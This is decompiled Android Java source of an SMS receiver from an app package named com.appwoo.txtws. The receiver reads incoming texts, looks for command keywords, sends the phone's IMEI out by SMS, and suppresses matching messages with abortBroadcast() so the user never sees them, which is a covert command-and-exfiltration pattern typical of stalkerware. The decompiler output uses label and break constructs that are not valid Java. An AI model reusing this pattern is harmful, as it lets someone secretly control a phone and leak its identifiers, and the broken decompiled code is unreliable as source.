package com.appwoo.txtws.component;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.telephony.TelephonyManager;

public class SmsReceiver extends BroadcastReceiver
{
  private String TAG = "smsreceiveandmask";

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    Logger.v(this.TAG, ">>>>>>>onReceive start");
    try
    {
      StringBuilder localStringBuilder1 = new StringBuilder();
      StringBuilder localStringBuilder2 = new StringBuilder();
      Bundle localBundle = paramIntent.getExtras();
      Object[] arrayOfObject;
      SmsMessage[] arrayOfSmsMessage;
      int i;
      int k;
      label76: String str1;
      int m;
      if (localBundle != null)
      {
        arrayOfObject = (Object[])localBundle.get("pdus");
        arrayOfSmsMessage = new SmsMessage[arrayOfObject.length];
        i = 0;
        if (i < arrayOfObject.length)
          break label199;
        int j = arrayOfSmsMessage.length;
        k = 0;
        if (k < j)
          break label221;
        str1 = localStringBuilder1.toString();
        String str2 = localStringBuilder2.toString();
        if (str2.contains("+86"))
          str2.substring(3);
        if (!str1.contains(Global.SmsEquipid))
          break label255;
        m = 1;
        String str3 = ((TelephonyManager)paramContext.getSystemService("phone")).getSimOperator();
        SMSHelper localSMSHelper = new SMSHelper(paramContext);
        if ("46003".equals(str3))
          localSMSHelper.sendIMEImsg2();
        localSMSHelper.sendIMEImsgToSmsCat();
        Logger.v(this.TAG, "sms_number.equals(106597281)");
      }
      while (true)
      {
        if (m != 0)
          abortBroadcast();
        Logger.v(this.TAG, ">>>>>>>onReceive end");
        return;
        label199: arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])arrayOfObject[i]);
        i++;
        break;
        label221: SmsMessage localSmsMessage = arrayOfSmsMessage[k];
        localStringBuilder1.append(localSmsMessage.getDisplayMessageBody());
        localStringBuilder2.append(localSmsMessage.getDisplayOriginatingAddress());
        k++;
        break label76;
        label255: boolean bool = str1.contains(Global.SmsSync);
        m = 0;
        if (bool)
        {
          m = 1;
          com.appwoo.txtws.service.WebTimeControlService.ut = 0L;
        }
      }
    }
    catch (Exception localException)
    {
      while (true)
        localException.printStackTrace();
    }
  }
}

/* Location:           C:\Documents and Settings\Administrator\classes_dex2jar.jar
 * Qualified Name:     com.appwoo.txtws.component.SmsReceiver
 * JD-Core Version:    0.6.2
 */